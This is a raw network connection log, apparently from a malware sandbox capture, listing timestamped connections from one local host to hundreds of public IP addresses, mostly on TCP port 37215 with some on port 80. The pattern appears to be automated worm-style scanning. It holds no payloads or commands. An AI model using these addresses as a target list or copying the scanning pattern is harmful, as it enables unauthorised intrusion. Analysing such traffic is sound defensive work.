Dec 3, 2024 23:16:50.851984024 CET	40597	37215	192.168.2.23	156.225.112.131
Dec 3, 2024 23:16:50.851984024 CET	40597	37215	192.168.2.23	41.133.211.43
Dec 3, 2024 23:16:50.851984024 CET	40597	37215	192.168.2.23	197.48.244.79
Dec 3, 2024 23:16:50.851984024 CET	40597	37215	192.168.2.23	156.178.245.103
Dec 3, 2024 23:16:50.851994038 CET	40597	37215	192.168.2.23	197.239.37.75
Dec 3, 2024 23:16:50.852005959 CET	40597	37215	192.168.2.23	197.127.119.186
Dec 3, 2024 23:16:50.852006912 CET	40597	37215	192.168.2.23	197.10.254.35
Dec 3, 2024 23:16:50.852008104 CET	40597	37215	192.168.2.23	156.33.213.165
Dec 3, 2024 23:16:50.852008104 CET	40597	37215	192.168.2.23	197.211.167.175
Dec 3, 2024 23:16:50.852016926 CET	40597	37215	192.168.2.23	41.49.187.2
Dec 3, 2024 23:16:50.852018118 CET	40597	37215	192.168.2.23	156.172.110.99
Dec 3, 2024 23:16:50.852032900 CET	40597	37215	192.168.2.23	197.181.192.146
Dec 3, 2024 23:16:50.852036953 CET	40597	37215	192.168.2.23	41.208.206.213
Dec 3, 2024 23:16:50.852037907 CET	40597	37215	192.168.2.23	41.66.84.31
Dec 3, 2024 23:16:50.852041960 CET	40597	37215	192.168.2.23	197.141.103.91
Dec 3, 2024 23:16:50.852051020 CET	40597	37215	192.168.2.23	197.171.158.16
Dec 3, 2024 23:16:50.852055073 CET	40597	37215	192.168.2.23	156.24.134.107
Dec 3, 2024 23:16:50.852077961 CET	40597	37215	192.168.2.23	41.141.178.187
Dec 3, 2024 23:16:50.852087021 CET	40597	37215	192.168.2.23	197.56.85.53
Dec 3, 2024 23:16:50.852087021 CET	40597	37215	192.168.2.23	197.102.204.16
Dec 3, 2024 23:16:50.852087975 CET	40597	37215	192.168.2.23	197.192.141.222
Dec 3, 2024 23:16:50.852089882 CET	40597	37215	192.168.2.23	41.99.142.94
Dec 3, 2024 23:16:50.852092028 CET	40597	37215	192.168.2.23	41.67.178.251
Dec 3, 2024 23:16:50.852092028 CET	40597	37215	192.168.2.23	41.167.221.85
Dec 3, 2024 23:16:50.852106094 CET	40597	37215	192.168.2.23	156.41.213.87
Dec 3, 2024 23:16:50.852106094 CET	40597	37215	192.168.2.23	197.187.221.11
Dec 3, 2024 23:16:50.852106094 CET	40597	37215	192.168.2.23	156.220.162.221
Dec 3, 2024 23:16:50.852112055 CET	40597	37215	192.168.2.23	156.119.59.196
Dec 3, 2024 23:16:50.852114916 CET	40597	37215	192.168.2.23	197.107.68.118
Dec 3, 2024 23:16:50.852114916 CET	40597	37215	192.168.2.23	41.228.172.59
Dec 3, 2024 23:16:50.852117062 CET	40597	37215	192.168.2.23	41.240.46.77
Dec 3, 2024 23:16:50.852117062 CET	40597	37215	192.168.2.23	197.80.114.42
Dec 3, 2024 23:16:50.852118015 CET	40597	37215	192.168.2.23	156.81.130.102
Dec 3, 2024 23:16:50.852118969 CET	40597	37215	192.168.2.23	197.137.140.54
Dec 3, 2024 23:16:50.852118969 CET	40597	37215	192.168.2.23	156.192.158.57
Dec 3, 2024 23:16:50.852129936 CET	40597	37215	192.168.2.23	197.250.48.149
Dec 3, 2024 23:16:50.852132082 CET	40597	37215	192.168.2.23	156.41.144.198
Dec 3, 2024 23:16:50.852133036 CET	40597	37215	192.168.2.23	197.120.20.61
Dec 3, 2024 23:16:50.852133036 CET	40597	37215	192.168.2.23	197.246.188.54
Dec 3, 2024 23:16:50.852133036 CET	40597	37215	192.168.2.23	197.79.165.8
Dec 3, 2024 23:16:50.852137089 CET	40597	37215	192.168.2.23	197.72.166.218
Dec 3, 2024 23:16:50.852138996 CET	40597	37215	192.168.2.23	41.132.99.85
Dec 3, 2024 23:16:50.852142096 CET	40597	37215	192.168.2.23	41.89.125.198
Dec 3, 2024 23:16:50.852144957 CET	40597	37215	192.168.2.23	156.135.119.150
Dec 3, 2024 23:16:50.852144957 CET	40597	37215	192.168.2.23	41.236.219.177
Dec 3, 2024 23:16:50.852144957 CET	40597	37215	192.168.2.23	41.24.95.112
Dec 3, 2024 23:16:50.852144957 CET	40597	37215	192.168.2.23	41.151.253.137
Dec 3, 2024 23:16:50.852144957 CET	40597	37215	192.168.2.23	41.55.111.131
Dec 3, 2024 23:16:50.852144957 CET	40597	37215	192.168.2.23	41.20.69.159
Dec 3, 2024 23:16:50.852159023 CET	40597	37215	192.168.2.23	41.237.163.95
Dec 3, 2024 23:16:50.852159023 CET	40597	37215	192.168.2.23	197.199.123.11
Dec 3, 2024 23:16:50.852159023 CET	40597	37215	192.168.2.23	197.157.212.219
Dec 3, 2024 23:16:50.852161884 CET	40597	37215	192.168.2.23	197.250.162.32
Dec 3, 2024 23:16:50.852163076 CET	40597	37215	192.168.2.23	41.167.100.61
Dec 3, 2024 23:16:50.852164984 CET	40597	37215	192.168.2.23	156.111.239.1
Dec 3, 2024 23:16:50.852168083 CET	40597	37215	192.168.2.23	156.8.112.71
Dec 3, 2024 23:16:50.852309942 CET	41480	37215	192.168.2.23	197.142.95.104
Dec 3, 2024 23:16:50.852309942 CET	41480	37215	192.168.2.23	197.142.95.104
Dec 3, 2024 23:16:50.852735996 CET	41668	37215	192.168.2.23	197.142.95.104
Dec 3, 2024 23:16:50.853049994 CET	42006	37215	192.168.2.23	156.54.52.64
Dec 3, 2024 23:16:50.853049994 CET	42006	37215	192.168.2.23	156.54.52.64
Dec 3, 2024 23:16:50.853293896 CET	42194	37215	192.168.2.23	156.54.52.64
Dec 3, 2024 23:16:50.853584051 CET	50496	37215	192.168.2.23	197.48.57.207
Dec 3, 2024 23:16:50.853584051 CET	50496	37215	192.168.2.23	197.48.57.207
Dec 3, 2024 23:16:50.853816986 CET	50684	37215	192.168.2.23	197.48.57.207
Dec 3, 2024 23:16:50.854125977 CET	37080	37215	192.168.2.23	156.2.32.205
Dec 3, 2024 23:16:50.854125977 CET	37080	37215	192.168.2.23	156.2.32.205
Dec 3, 2024 23:16:50.854388952 CET	37268	37215	192.168.2.23	156.2.32.205
Dec 3, 2024 23:16:50.854813099 CET	53062	37215	192.168.2.23	41.23.152.112
Dec 3, 2024 23:16:50.854813099 CET	53062	37215	192.168.2.23	41.23.152.112
Dec 3, 2024 23:16:50.855031967 CET	33220	37215	192.168.2.23	156.151.72.168
Dec 3, 2024 23:16:50.855032921 CET	34606	37215	192.168.2.23	197.117.181.6
Dec 3, 2024 23:16:50.855034113 CET	60136	37215	192.168.2.23	41.47.204.108
Dec 3, 2024 23:16:50.855036974 CET	56378	37215	192.168.2.23	41.49.33.245
Dec 3, 2024 23:16:50.855048895 CET	40366	37215	192.168.2.23	41.131.210.92
Dec 3, 2024 23:16:50.855052948 CET	51584	37215	192.168.2.23	156.87.239.158
Dec 3, 2024 23:16:50.855057001 CET	55824	37215	192.168.2.23	156.251.110.116
Dec 3, 2024 23:16:50.855057001 CET	34756	37215	192.168.2.23	41.5.104.100
Dec 3, 2024 23:16:50.855093956 CET	53248	37215	192.168.2.23	41.23.152.112
Dec 3, 2024 23:16:50.855416059 CET	35240	37215	192.168.2.23	197.81.114.155
Dec 3, 2024 23:16:50.855416059 CET	35240	37215	192.168.2.23	197.81.114.155
Dec 3, 2024 23:16:50.855701923 CET	35426	37215	192.168.2.23	197.81.114.155
Dec 3, 2024 23:16:50.856117964 CET	37732	37215	192.168.2.23	197.68.34.74
Dec 3, 2024 23:16:50.856117964 CET	37732	37215	192.168.2.23	197.68.34.74
Dec 3, 2024 23:16:50.856353998 CET	37918	37215	192.168.2.23	197.68.34.74
Dec 3, 2024 23:16:50.856683016 CET	39288	37215	192.168.2.23	197.28.236.190
Dec 3, 2024 23:16:50.856683016 CET	39288	37215	192.168.2.23	197.28.236.190
Dec 3, 2024 23:16:50.856924057 CET	39474	37215	192.168.2.23	197.28.236.190
Dec 3, 2024 23:16:50.857268095 CET	41428	37215	192.168.2.23	41.118.107.113
Dec 3, 2024 23:16:50.857268095 CET	41428	37215	192.168.2.23	41.118.107.113
Dec 3, 2024 23:16:50.858043909 CET	41614	37215	192.168.2.23	41.118.107.113
Dec 3, 2024 23:16:50.858381033 CET	46716	37215	192.168.2.23	197.21.86.41
Dec 3, 2024 23:16:50.858381033 CET	46716	37215	192.168.2.23	197.21.86.41
Dec 3, 2024 23:16:50.858614922 CET	46902	37215	192.168.2.23	197.21.86.41
Dec 3, 2024 23:16:50.858990908 CET	34430	37215	192.168.2.23	156.127.13.240
Dec 3, 2024 23:16:50.858990908 CET	34430	37215	192.168.2.23	156.127.13.240
Dec 3, 2024 23:16:50.859227896 CET	34666	37215	192.168.2.23	156.127.13.240
Dec 3, 2024 23:16:50.859540939 CET	58986	37215	192.168.2.23	197.120.27.107
Dec 3, 2024 23:16:50.859540939 CET	58986	37215	192.168.2.23	197.120.27.107
Dec 3, 2024 23:16:50.859796047 CET	59222	37215	192.168.2.23	197.120.27.107
Dec 3, 2024 23:16:50.860121965 CET	33986	37215	192.168.2.23	156.47.233.200
Dec 3, 2024 23:16:50.860121965 CET	33986	37215	192.168.2.23	156.47.233.200
Dec 3, 2024 23:16:50.860353947 CET	34222	37215	192.168.2.23	156.47.233.200
Dec 3, 2024 23:16:50.860671043 CET	37612	37215	192.168.2.23	197.3.73.65
Dec 3, 2024 23:16:50.860671043 CET	37612	37215	192.168.2.23	197.3.73.65
Dec 3, 2024 23:16:50.860912085 CET	37848	37215	192.168.2.23	197.3.73.65
Dec 3, 2024 23:16:50.861203909 CET	34144	37215	192.168.2.23	156.42.173.143
Dec 3, 2024 23:16:50.861205101 CET	34144	37215	192.168.2.23	156.42.173.143
Dec 3, 2024 23:16:50.861440897 CET	34380	37215	192.168.2.23	156.42.173.143
Dec 3, 2024 23:16:50.861741066 CET	46372	37215	192.168.2.23	156.225.40.131
Dec 3, 2024 23:16:50.861741066 CET	46372	37215	192.168.2.23	156.225.40.131
Dec 3, 2024 23:16:50.861965895 CET	46608	37215	192.168.2.23	156.225.40.131
Dec 3, 2024 23:16:50.862255096 CET	56056	37215	192.168.2.23	197.81.131.1
Dec 3, 2024 23:16:50.862255096 CET	56056	37215	192.168.2.23	197.81.131.1
Dec 3, 2024 23:16:50.862493038 CET	56292	37215	192.168.2.23	197.81.131.1
Dec 3, 2024 23:16:50.862790108 CET	51038	37215	192.168.2.23	197.170.158.13
Dec 3, 2024 23:16:50.862790108 CET	51038	37215	192.168.2.23	197.170.158.13
Dec 3, 2024 23:16:50.863029957 CET	51274	37215	192.168.2.23	197.170.158.13
Dec 3, 2024 23:16:50.863331079 CET	41580	37215	192.168.2.23	156.196.177.232
Dec 3, 2024 23:16:50.863351107 CET	41580	37215	192.168.2.23	156.196.177.232
Dec 3, 2024 23:16:50.863593102 CET	41816	37215	192.168.2.23	156.196.177.232
Dec 3, 2024 23:16:50.863925934 CET	37132	37215	192.168.2.23	41.240.1.22
Dec 3, 2024 23:16:50.863925934 CET	37132	37215	192.168.2.23	41.240.1.22
Dec 3, 2024 23:16:50.864168882 CET	37368	37215	192.168.2.23	41.240.1.22
Dec 3, 2024 23:16:50.864478111 CET	50508	37215	192.168.2.23	197.45.230.253
Dec 3, 2024 23:16:50.864478111 CET	50508	37215	192.168.2.23	197.45.230.253
Dec 3, 2024 23:16:50.864711046 CET	50744	37215	192.168.2.23	197.45.230.253
Dec 3, 2024 23:16:50.865024090 CET	33936	37215	192.168.2.23	41.181.27.30
Dec 3, 2024 23:16:50.865024090 CET	33936	37215	192.168.2.23	41.181.27.30
Dec 3, 2024 23:16:50.865262985 CET	34172	37215	192.168.2.23	41.181.27.30
Dec 3, 2024 23:16:50.865569115 CET	40604	37215	192.168.2.23	156.153.176.175
Dec 3, 2024 23:16:50.865569115 CET	40604	37215	192.168.2.23	156.153.176.175
Dec 3, 2024 23:16:50.865817070 CET	40840	37215	192.168.2.23	156.153.176.175
Dec 3, 2024 23:16:50.866132021 CET	45390	37215	192.168.2.23	41.28.122.113
Dec 3, 2024 23:16:50.866132021 CET	45390	37215	192.168.2.23	41.28.122.113
Dec 3, 2024 23:16:50.866369963 CET	45626	37215	192.168.2.23	41.28.122.113
Dec 3, 2024 23:16:50.882771969 CET	37215	34056	156.79.85.120	192.168.2.23
Dec 3, 2024 23:16:50.882829905 CET	34056	37215	192.168.2.23	156.79.85.120
Dec 3, 2024 23:16:50.882910013 CET	34056	37215	192.168.2.23	156.79.85.120
Dec 3, 2024 23:16:50.882915020 CET	37215	46538	41.199.42.109	192.168.2.23
Dec 3, 2024 23:16:50.882916927 CET	34056	37215	192.168.2.23	156.79.85.120
Dec 3, 2024 23:16:50.882925034 CET	37215	33232	156.48.44.46	192.168.2.23
Dec 3, 2024 23:16:50.882965088 CET	46538	37215	192.168.2.23	41.199.42.109
Dec 3, 2024 23:16:50.882967949 CET	33232	37215	192.168.2.23	156.48.44.46
Dec 3, 2024 23:16:50.883268118 CET	34228	37215	192.168.2.23	156.79.85.120
Dec 3, 2024 23:16:50.883688927 CET	46538	37215	192.168.2.23	41.199.42.109
Dec 3, 2024 23:16:50.883688927 CET	46538	37215	192.168.2.23	41.199.42.109
Dec 3, 2024 23:16:50.883965015 CET	46720	37215	192.168.2.23	41.199.42.109
Dec 3, 2024 23:16:50.884306908 CET	33232	37215	192.168.2.23	156.48.44.46
Dec 3, 2024 23:16:50.884306908 CET	33232	37215	192.168.2.23	156.48.44.46
Dec 3, 2024 23:16:50.884598017 CET	33410	37215	192.168.2.23	156.48.44.46
Dec 3, 2024 23:16:50.887029886 CET	45452	37215	192.168.2.23	197.101.175.187
Dec 3, 2024 23:16:50.887032032 CET	43570	37215	192.168.2.23	156.113.104.220
Dec 3, 2024 23:16:50.887032032 CET	38146	37215	192.168.2.23	156.248.1.33
Dec 3, 2024 23:16:50.887033939 CET	49514	37215	192.168.2.23	41.145.144.127
Dec 3, 2024 23:16:50.887039900 CET	53212	37215	192.168.2.23	41.126.145.123
Dec 3, 2024 23:16:50.975351095 CET	37215	40597	156.181.180.180	192.168.2.23
Dec 3, 2024 23:16:50.975395918 CET	37215	40597	156.55.85.23	192.168.2.23
Dec 3, 2024 23:16:50.975404978 CET	37215	40597	197.175.227.30	192.168.2.23
Dec 3, 2024 23:16:50.975445032 CET	37215	40597	197.186.102.78	192.168.2.23
Dec 3, 2024 23:16:50.975454092 CET	37215	40597	41.53.240.91	192.168.2.23
Dec 3, 2024 23:16:50.975501060 CET	37215	40597	156.101.193.95	192.168.2.23
Dec 3, 2024 23:16:50.975511074 CET	37215	40597	197.119.32.21	192.168.2.23
Dec 3, 2024 23:16:50.975516081 CET	37215	40597	156.144.180.222	192.168.2.23
Dec 3, 2024 23:16:50.975526094 CET	37215	40597	41.211.150.253	192.168.2.23
Dec 3, 2024 23:16:50.975529909 CET	40597	37215	192.168.2.23	156.55.85.23
Dec 3, 2024 23:16:50.975531101 CET	40597	37215	192.168.2.23	41.53.240.91
Dec 3, 2024 23:16:50.975537062 CET	37215	40597	41.150.130.73	192.168.2.23
Dec 3, 2024 23:16:50.975537062 CET	40597	37215	192.168.2.23	197.186.102.78
Dec 3, 2024 23:16:50.975537062 CET	40597	37215	192.168.2.23	197.175.227.30
Dec 3, 2024 23:16:50.975543022 CET	40597	37215	192.168.2.23	156.181.180.180
Dec 3, 2024 23:16:50.975544930 CET	40597	37215	192.168.2.23	197.119.32.21
Dec 3, 2024 23:16:50.975552082 CET	40597	37215	192.168.2.23	156.101.193.95
Dec 3, 2024 23:16:50.975558043 CET	40597	37215	192.168.2.23	156.144.180.222
Dec 3, 2024 23:16:50.975558043 CET	40597	37215	192.168.2.23	41.211.150.253
Dec 3, 2024 23:16:50.975579977 CET	40597	37215	192.168.2.23	41.150.130.73
Dec 3, 2024 23:16:50.976083994 CET	37215	41480	197.142.95.104	192.168.2.23
Dec 3, 2024 23:16:50.976872921 CET	37215	42006	156.54.52.64	192.168.2.23
Dec 3, 2024 23:16:50.977395058 CET	37215	50496	197.48.57.207	192.168.2.23
Dec 3, 2024 23:16:50.977965117 CET	37215	37080	156.2.32.205	192.168.2.23
Dec 3, 2024 23:16:50.978642941 CET	37215	53062	41.23.152.112	192.168.2.23
Dec 3, 2024 23:16:50.979082108 CET	37215	35240	197.81.114.155	192.168.2.23
Dec 3, 2024 23:16:50.979854107 CET	37215	37732	197.68.34.74	192.168.2.23
Dec 3, 2024 23:16:50.980484009 CET	37215	39288	197.28.236.190	192.168.2.23
Dec 3, 2024 23:16:50.981072903 CET	37215	41428	41.118.107.113	192.168.2.23
Dec 3, 2024 23:16:50.982009888 CET	37215	46716	197.21.86.41	192.168.2.23
Dec 3, 2024 23:16:50.982667923 CET	37215	34430	156.127.13.240	192.168.2.23
Dec 3, 2024 23:16:50.983020067 CET	35454	37215	192.168.2.23	197.99.145.0
Dec 3, 2024 23:16:50.983023882 CET	43802	37215	192.168.2.23	156.7.205.183
Dec 3, 2024 23:16:50.983026981 CET	54908	37215	192.168.2.23	41.50.237.224
Dec 3, 2024 23:16:50.983032942 CET	33164	37215	192.168.2.23	156.104.224.250
Dec 3, 2024 23:16:50.983042002 CET	38650	37215	192.168.2.23	156.124.6.104
Dec 3, 2024 23:16:50.983042002 CET	42332	37215	192.168.2.23	197.171.142.249
Dec 3, 2024 23:16:50.983042955 CET	39802	37215	192.168.2.23	156.202.143.176
Dec 3, 2024 23:16:50.983236074 CET	37215	58986	197.120.27.107	192.168.2.23
Dec 3, 2024 23:16:50.983900070 CET	37215	33986	156.47.233.200	192.168.2.23
Dec 3, 2024 23:16:50.984357119 CET	37215	37612	197.3.73.65	192.168.2.23
Dec 3, 2024 23:16:50.984847069 CET	37215	34144	156.42.173.143	192.168.2.23
Dec 3, 2024 23:16:50.985377073 CET	37215	46372	156.225.40.131	192.168.2.23
Dec 3, 2024 23:16:50.985968113 CET	37215	56056	197.81.131.1	192.168.2.23
Dec 3, 2024 23:16:50.986700058 CET	37215	51038	197.170.158.13	192.168.2.23
Dec 3, 2024 23:16:50.987113953 CET	37215	41580	156.196.177.232	192.168.2.23
Dec 3, 2024 23:16:50.987215042 CET	37215	41816	156.196.177.232	192.168.2.23
Dec 3, 2024 23:16:50.987262964 CET	41816	37215	192.168.2.23	156.196.177.232
Dec 3, 2024 23:16:50.987282038 CET	41816	37215	192.168.2.23	156.196.177.232
Dec 3, 2024 23:16:50.987572908 CET	37215	37132	41.240.1.22	192.168.2.23
Dec 3, 2024 23:16:50.987683058 CET	43914	37215	192.168.2.23	156.181.180.180
Dec 3, 2024 23:16:50.988145113 CET	37215	50508	197.45.230.253	192.168.2.23
Dec 3, 2024 23:16:50.988303900 CET	53868	37215	192.168.2.23	197.175.227.30
Dec 3, 2024 23:16:50.988692999 CET	37215	33936	41.181.27.30	192.168.2.23
Dec 3, 2024 23:16:50.988917112 CET	56700	37215	192.168.2.23	156.55.85.23
Dec 3, 2024 23:16:50.989211082 CET	37215	40604	156.153.176.175	192.168.2.23
Dec 3, 2024 23:16:50.989532948 CET	50342	37215	192.168.2.23	197.186.102.78
Dec 3, 2024 23:16:50.989846945 CET	37215	45390	41.28.122.113	192.168.2.23
Dec 3, 2024 23:16:50.990123034 CET	44164	37215	192.168.2.23	41.53.240.91
Dec 3, 2024 23:16:50.990751028 CET	39030	37215	192.168.2.23	197.119.32.21
Dec 3, 2024 23:16:50.991353035 CET	52520	37215	192.168.2.23	156.101.193.95
Dec 3, 2024 23:16:50.991951942 CET	51536	37215	192.168.2.23	156.144.180.222
Dec 3, 2024 23:16:50.992551088 CET	41336	37215	192.168.2.23	41.211.150.253
Dec 3, 2024 23:16:50.993161917 CET	53898	37215	192.168.2.23	41.150.130.73
Dec 3, 2024 23:16:51.006818056 CET	37215	34056	156.79.85.120	192.168.2.23
Dec 3, 2024 23:16:51.007040024 CET	37215	34228	156.79.85.120	192.168.2.23
Dec 3, 2024 23:16:51.007088900 CET	34228	37215	192.168.2.23	156.79.85.120
Dec 3, 2024 23:16:51.007102966 CET	34228	37215	192.168.2.23	156.79.85.120
Dec 3, 2024 23:16:51.007333040 CET	37215	46538	41.199.42.109	192.168.2.23
Dec 3, 2024 23:16:51.007601023 CET	37215	46720	41.199.42.109	192.168.2.23
Dec 3, 2024 23:16:51.007642031 CET	46720	37215	192.168.2.23	41.199.42.109
Dec 3, 2024 23:16:51.007652044 CET	46720	37215	192.168.2.23	41.199.42.109
Dec 3, 2024 23:16:51.007945061 CET	37215	33232	156.48.44.46	192.168.2.23
Dec 3, 2024 23:16:51.023894072 CET	37215	35240	197.81.114.155	192.168.2.23
Dec 3, 2024 23:16:51.023910999 CET	37215	53062	41.23.152.112	192.168.2.23
Dec 3, 2024 23:16:51.023915052 CET	37215	37080	156.2.32.205	192.168.2.23
Dec 3, 2024 23:16:51.023919106 CET	37215	50496	197.48.57.207	192.168.2.23
Dec 3, 2024 23:16:51.023922920 CET	37215	42006	156.54.52.64	192.168.2.23
Dec 3, 2024 23:16:51.023926973 CET	37215	41480	197.142.95.104	192.168.2.23
Dec 3, 2024 23:16:51.028639078 CET	37215	34430	156.127.13.240	192.168.2.23
Dec 3, 2024 23:16:51.028647900 CET	37215	37132	41.240.1.22	192.168.2.23
Dec 3, 2024 23:16:51.028661013 CET	37215	46716	197.21.86.41	192.168.2.23
Dec 3, 2024 23:16:51.028680086 CET	37215	41580	156.196.177.232	192.168.2.23
Dec 3, 2024 23:16:51.028687954 CET	37215	41428	41.118.107.113	192.168.2.23
Dec 3, 2024 23:16:51.028695107 CET	37215	39288	197.28.236.190	192.168.2.23
Dec 3, 2024 23:16:51.028708935 CET	37215	51038	197.170.158.13	192.168.2.23
Dec 3, 2024 23:16:51.028717995 CET	37215	37732	197.68.34.74	192.168.2.23
Dec 3, 2024 23:16:51.028726101 CET	37215	56056	197.81.131.1	192.168.2.23
Dec 3, 2024 23:16:51.028737068 CET	37215	46372	156.225.40.131	192.168.2.23
Dec 3, 2024 23:16:51.028743982 CET	37215	34144	156.42.173.143	192.168.2.23
Dec 3, 2024 23:16:51.028752089 CET	37215	37612	197.3.73.65	192.168.2.23
Dec 3, 2024 23:16:51.028755903 CET	37215	33986	156.47.233.200	192.168.2.23
Dec 3, 2024 23:16:51.028781891 CET	37215	58986	197.120.27.107	192.168.2.23
Dec 3, 2024 23:16:51.031923056 CET	37215	45390	41.28.122.113	192.168.2.23
Dec 3, 2024 23:16:51.031963110 CET	37215	40604	156.153.176.175	192.168.2.23
Dec 3, 2024 23:16:51.031987906 CET	37215	33936	41.181.27.30	192.168.2.23
Dec 3, 2024 23:16:51.031996012 CET	37215	50508	197.45.230.253	192.168.2.23
Dec 3, 2024 23:16:51.039603949 CET	80	60312	108.165.135.39	192.168.2.23
Dec 3, 2024 23:16:51.039649963 CET	60312	80	192.168.2.23	108.165.135.39
Dec 3, 2024 23:16:51.047095060 CET	42516	80	192.168.2.23	109.202.202.202
Dec 3, 2024 23:16:51.047854900 CET	37215	46538	41.199.42.109	192.168.2.23
Dec 3, 2024 23:16:51.047969103 CET	37215	34056	156.79.85.120	192.168.2.23
Dec 3, 2024 23:16:51.055864096 CET	37215	33232	156.48.44.46	192.168.2.23
Dec 3, 2024 23:16:51.079099894 CET	42014	80	192.168.2.23	13.3.191.55
Dec 3, 2024 23:16:51.079103947 CET	41516	80	192.168.2.23	53.125.178.189
Dec 3, 2024 23:16:51.079104900 CET	60694	80	192.168.2.23	194.223.37.30
Dec 3, 2024 23:16:51.079116106 CET	41702	80	192.168.2.23	160.108.6.246
Dec 3, 2024 23:16:51.079116106 CET	58850	80	192.168.2.23	105.92.24.72
Dec 3, 2024 23:16:51.079117060 CET	60796	80	192.168.2.23	108.165.135.39
Dec 3, 2024 23:16:51.106945038 CET	37215	43802	156.7.205.183	192.168.2.23
Dec 3, 2024 23:16:51.106964111 CET	37215	35454	197.99.145.0	192.168.2.23
Dec 3, 2024 23:16:51.106975079 CET	37215	54908	41.50.237.224	192.168.2.23
Dec 3, 2024 23:16:51.106986046 CET	37215	33164	156.104.224.250	192.168.2.23
Dec 3, 2024 23:16:51.107008934 CET	37215	39802	156.202.143.176	192.168.2.23
Dec 3, 2024 23:16:51.107017994 CET	37215	38650	156.124.6.104	192.168.2.23
Dec 3, 2024 23:16:51.107026100 CET	37215	42332	197.171.142.249	192.168.2.23
Dec 3, 2024 23:16:51.107029915 CET	54908	37215	192.168.2.23	41.50.237.224
Dec 3, 2024 23:16:51.107033014 CET	35454	37215	192.168.2.23	197.99.145.0
Dec 3, 2024 23:16:51.107033014 CET	33164	37215	192.168.2.23	156.104.224.250
Dec 3, 2024 23:16:51.107038975 CET	43802	37215	192.168.2.23	156.7.205.183
Dec 3, 2024 23:16:51.107045889 CET	39802	37215	192.168.2.23	156.202.143.176
Dec 3, 2024 23:16:51.107059002 CET	38650	37215	192.168.2.23	156.124.6.104
Dec 3, 2024 23:16:51.107059002 CET	42332	37215	192.168.2.23	197.171.142.249
Dec 3, 2024 23:16:51.107076883 CET	35454	37215	192.168.2.23	197.99.145.0
Dec 3, 2024 23:16:51.107141018 CET	39802	37215	192.168.2.23	156.202.143.176
Dec 3, 2024 23:16:51.107141018 CET	39802	37215	192.168.2.23	156.202.143.176
Dec 3, 2024 23:16:51.107487917 CET	39952	37215	192.168.2.23	156.202.143.176
Dec 3, 2024 23:16:51.107860088 CET	33164	37215	192.168.2.23	156.104.224.250
Dec 3, 2024 23:16:51.107860088 CET	33164	37215	192.168.2.23	156.104.224.250
Dec 3, 2024 23:16:51.108155012 CET	33310	37215	192.168.2.23	156.104.224.250
Dec 3, 2024 23:16:51.108517885 CET	54908	37215	192.168.2.23	41.50.237.224
Dec 3, 2024 23:16:51.108517885 CET	54908	37215	192.168.2.23	41.50.237.224
Dec 3, 2024 23:16:51.108798981 CET	55054	37215	192.168.2.23	41.50.237.224
Dec 3, 2024 23:16:51.109178066 CET	43802	37215	192.168.2.23	156.7.205.183
Dec 3, 2024 23:16:51.109178066 CET	43802	37215	192.168.2.23	156.7.205.183
Dec 3, 2024 23:16:51.109462023 CET	43948	37215	192.168.2.23	156.7.205.183
Dec 3, 2024 23:16:51.109873056 CET	42332	37215	192.168.2.23	197.171.142.249
Dec 3, 2024 23:16:51.109873056 CET	42332	37215	192.168.2.23	197.171.142.249
Dec 3, 2024 23:16:51.110158920 CET	42488	37215	192.168.2.23	197.171.142.249
Dec 3, 2024 23:16:51.110536098 CET	38650	37215	192.168.2.23	156.124.6.104
Dec 3, 2024 23:16:51.110536098 CET	38650	37215	192.168.2.23	156.124.6.104
Dec 3, 2024 23:16:51.110826969 CET	38806	37215	192.168.2.23	156.124.6.104
Dec 3, 2024 23:16:51.110991955 CET	52252	37215	192.168.2.23	197.168.254.205
Dec 3, 2024 23:16:51.111383915 CET	37215	43914	156.181.180.180	192.168.2.23
Dec 3, 2024 23:16:51.111403942 CET	37215	41816	156.196.177.232	192.168.2.23
Dec 3, 2024 23:16:51.111430883 CET	43914	37215	192.168.2.23	156.181.180.180
Dec 3, 2024 23:16:51.111443996 CET	41816	37215	192.168.2.23	156.196.177.232
Dec 3, 2024 23:16:51.111480951 CET	43914	37215	192.168.2.23	156.181.180.180
Dec 3, 2024 23:16:51.111480951 CET	43914	37215	192.168.2.23	156.181.180.180
Dec 3, 2024 23:16:51.111757994 CET	43946	37215	192.168.2.23	156.181.180.180
Dec 3, 2024 23:16:51.111916065 CET	37215	53868	197.175.227.30	192.168.2.23
Dec 3, 2024 23:16:51.111957073 CET	53868	37215	192.168.2.23	197.175.227.30
Dec 3, 2024 23:16:51.112147093 CET	53868	37215	192.168.2.23	197.175.227.30
Dec 3, 2024 23:16:51.112147093 CET	53868	37215	192.168.2.23	197.175.227.30
Dec 3, 2024 23:16:51.112421989 CET	53900	37215	192.168.2.23	197.175.227.30
Dec 3, 2024 23:16:51.112530947 CET	37215	56700	156.55.85.23	192.168.2.23
Dec 3, 2024 23:16:51.112569094 CET	56700	37215	192.168.2.23	156.55.85.23
Dec 3, 2024 23:16:51.112807989 CET	56700	37215	192.168.2.23	156.55.85.23
Dec 3, 2024 23:16:51.112807989 CET	56700	37215	192.168.2.23	156.55.85.23
Dec 3, 2024 23:16:51.113076925 CET	56732	37215	192.168.2.23	156.55.85.23
Dec 3, 2024 23:16:51.115066051 CET	37215	52520	156.101.193.95	192.168.2.23
Dec 3, 2024 23:16:51.115103006 CET	52520	37215	192.168.2.23	156.101.193.95
Dec 3, 2024 23:16:51.115147114 CET	52520	37215	192.168.2.23	156.101.193.95
Dec 3, 2024 23:16:51.115147114 CET	52520	37215	192.168.2.23	156.101.193.95
Dec 3, 2024 23:16:51.115430117 CET	52546	37215	192.168.2.23	156.101.193.95
Dec 3, 2024 23:16:51.135890007 CET	37215	46720	41.199.42.109	192.168.2.23
Dec 3, 2024 23:16:51.135946035 CET	37215	34228	156.79.85.120	192.168.2.23
Dec 3, 2024 23:16:51.142328024 CET	37215	34228	156.79.85.120	192.168.2.23
Dec 3, 2024 23:16:51.142465115 CET	34228	37215	192.168.2.23	156.79.85.120
Dec 3, 2024 23:16:51.142826080 CET	37215	46720	41.199.42.109	192.168.2.23
Dec 3, 2024 23:16:51.142868042 CET	46720	37215	192.168.2.23	41.199.42.109
Dec 3, 2024 23:16:51.202919006 CET	80	42014	13.3.191.55	192.168.2.23
Dec 3, 2024 23:16:51.202956915 CET	80	41516	53.125.178.189	192.168.2.23
Dec 3, 2024 23:16:51.203018904 CET	80	60694	194.223.37.30	192.168.2.23
Dec 3, 2024 23:16:51.203027010 CET	80	58850	105.92.24.72	192.168.2.23
Dec 3, 2024 23:16:51.203041077 CET	80	41702	160.108.6.246	192.168.2.23
Dec 3, 2024 23:16:51.203048944 CET	80	60796	108.165.135.39	192.168.2.23
